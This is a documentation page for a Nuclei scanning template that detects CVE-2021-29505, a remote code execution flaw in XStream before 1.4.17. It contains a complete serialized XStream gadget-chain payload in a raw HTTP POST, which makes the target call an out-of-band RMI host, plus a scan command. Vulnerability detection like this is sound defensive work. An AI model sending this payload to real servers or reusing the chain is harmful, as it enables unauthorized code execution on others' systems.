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XStream <1.4.17 - Remote Code Execution

ID: CVE-2021-29505

Severity: high

Author: pwnhxl

Tags: cve2021,cve,oast,vulhub,xstream,deserialization,rce,xstream_project

Description

Section titled “Description”

XStream before 1.4.17 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

YAML Source

Section titled “YAML Source”
id: CVE-2021-29505


info:
  name: XStream <1.4.17 - Remote Code Execution
  author: pwnhxl
  severity: high
  description: |
    XStream before 1.4.17 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
  remediation: Patched in 1.4.17.
  reference:
    - https://paper.seebug.org/1543/
    - https://github.com/vulhub/vulhub/blob/master/xstream/CVE-2021-29505/README.zh-cn.md
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29505
    - https://github.com/x-stream/xstream/security/advisories/GHSA-7chv-rrw6-w6fc
    - https://nvd.nist.gov/vuln/detail/cve-2021-29505
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2021-29505
    cwe-id: CWE-502
    epss-score: 0.04677
    epss-percentile: 0.91814
    cpe: cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: xstream_project
    product: xstream
  tags: cve2021,cve,oast,vulhub,xstream,deserialization,rce,xstream_project


http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml


        <java.util.PriorityQueue serialization='custom'>
            <unserializable-parents/>
            <java.util.PriorityQueue>
                <default>
                    <size>2</size>
                </default>
                <int>3</int>
                <javax.naming.ldap.Rdn_-RdnEntry>
                    <type>12345</type>
                    <value class='com.sun.org.apache.xpath.internal.objects.XString'>
                        <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
                    </value>
                </javax.naming.ldap.Rdn_-RdnEntry>
                <javax.naming.ldap.Rdn_-RdnEntry>
                    <type>12345</type>
                    <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
                        <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
                            <parsedMessage>true</parsedMessage>
                            <soapVersion>SOAP_11</soapVersion>
                            <bodyParts/>
                            <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
                                <attachmentsInitialized>false</attachmentsInitialized>
                                <nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
                                    <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
                                        <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
                                            <names>
                                                <string>aa</string>
                                                <string>aa</string>
                                            </names>
                                            <ctx>
                                                <environment/>
                                                <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
                                                    <java.rmi.server.RemoteObject>
                                                        <string>UnicastRef</string>
                                                        <string>{{interactsh-url}}</string>
                                                        <int>1099</int>
                                                        <long>0</long>
                                                        <int>0</int>
                                                        <long>0</long>
                                                        <short>0</short>
                                                        <boolean>false</boolean>
                                                    </java.rmi.server.RemoteObject>
                                                </registry>
                                                <host>{{interactsh-url}}</host>
                                                <port>1099</port>
                                            </ctx>
                                        </candidates>
                                    </aliases>
                                </nullIter>
                            </sm>
                        </message>
                    </value>
                </javax.naming.ldap.Rdn_-RdnEntry>
            </java.util.PriorityQueue>
        </java.util.PriorityQueue>


    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"


      - type: word
        part: body
        words:
          - "timestamp"
          - "com.thoughtworks.xstream"
        condition: or


      - type: word
        part: header
        words:
          - "application/json"


      - type: status
        status:
          - 500
# digest: 4a0a0047304502204698f6526eee8d5964733704c6dd57bad435f1b5f5b8fa4e5cf25eae0fb21ff9022100940114253bc005cc99f7f3a39dd2a36e0a6255de4ceb5839ecb590002a29d61a:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-29505.yaml"

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